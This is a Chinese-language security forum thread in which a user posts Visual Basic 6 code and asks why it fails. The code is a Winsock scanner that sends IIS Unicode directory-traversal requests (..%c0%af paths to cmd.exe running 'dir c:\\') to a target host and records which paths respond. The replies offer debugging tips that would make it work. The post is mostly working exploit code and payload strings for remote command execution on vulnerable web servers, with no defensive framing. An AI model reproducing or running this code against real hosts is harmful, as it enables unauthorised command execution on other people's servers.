20CN网络安全小组第一代论坛
发表新主题  发表回复

个人资料 | 社区目录 用户登录 | | 论坛搜索 | 常见问题 | 论坛主页
  下一个最老的主题   下一个最新的主题
» 20CN网络安全小组第一代论坛   » 电 脑 技 术   » 编程破解   » 大家帮我看看这个程序错在哪

   
作者 标题: 大家帮我看看这个程序错在哪
syshanter
未注册


图标 1  发表于         编辑/删除帖子   引用原文回复  
Private Sub Command1_Click()

Command1.Enabled = False

Label1.Caption = "正在扫描.."


Winsock1.LocalPort = 8888

Winsock1.RemoteHost = Text1.Text


Winsock1.RemotePort = 80

Winsock1.Connect

Dim cgi(6) As String
cgi(1) = "GET /scripts/..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0"
cgi(2) = "GET /msadc/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0"
cgi(3) = "GET /_vti_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0"
cgi(4) = "GET /_mem_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0"
cgi(5) = "GET /cgi-bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0"

Dim I As Long
For I = 1 To 5

If Winsock1.State = 0 Then Winsock1.Connect

Do While Winsock1.State <> 7

DoEvents

Loop


Winsock1.SendData cgi(I) & vbCrLf

Dim strData As String

Winsock1.GetData strData

If InStr(1, strData, "HTTP 404") = 0 Then Text3.Text = cgi(I)


Next I

Winsock1.Close

Command1.Enabled = True

End Sub

Private Sub Form_Load()

Label1.Caption = ""


Text2.Text = Winsock1.LocalIP

Text1.Text = ""
Text3.Text = ""


Command1.Caption = "扫描"

End Sub

IP: 已记录
SKY
未注册


图标 1  发表于         编辑/删除帖子   引用原文回复  
好象本地端口不用设定的!
Winsock1.LocalPort = 8888

IP: 已记录
古老传说
未注册


图标 1  发表于         编辑/删除帖子   引用原文回复  
根据http协议来说,发送字符串最后应该是\r\n结束
IP: 已记录

 
发表新主题  发表回复 关闭主题 突出主题 移动主题 删除主题 下一个最老的主题   下一个最新的主题
 - 适于打印的主题视图
转到:
联系我们 | 20CN网络安全小组

Powered by Infopop Corporation
UBB.classic™ 6.5.0
NetDemon修改版 1.5.0, 20CN网络安全小组 版权所有。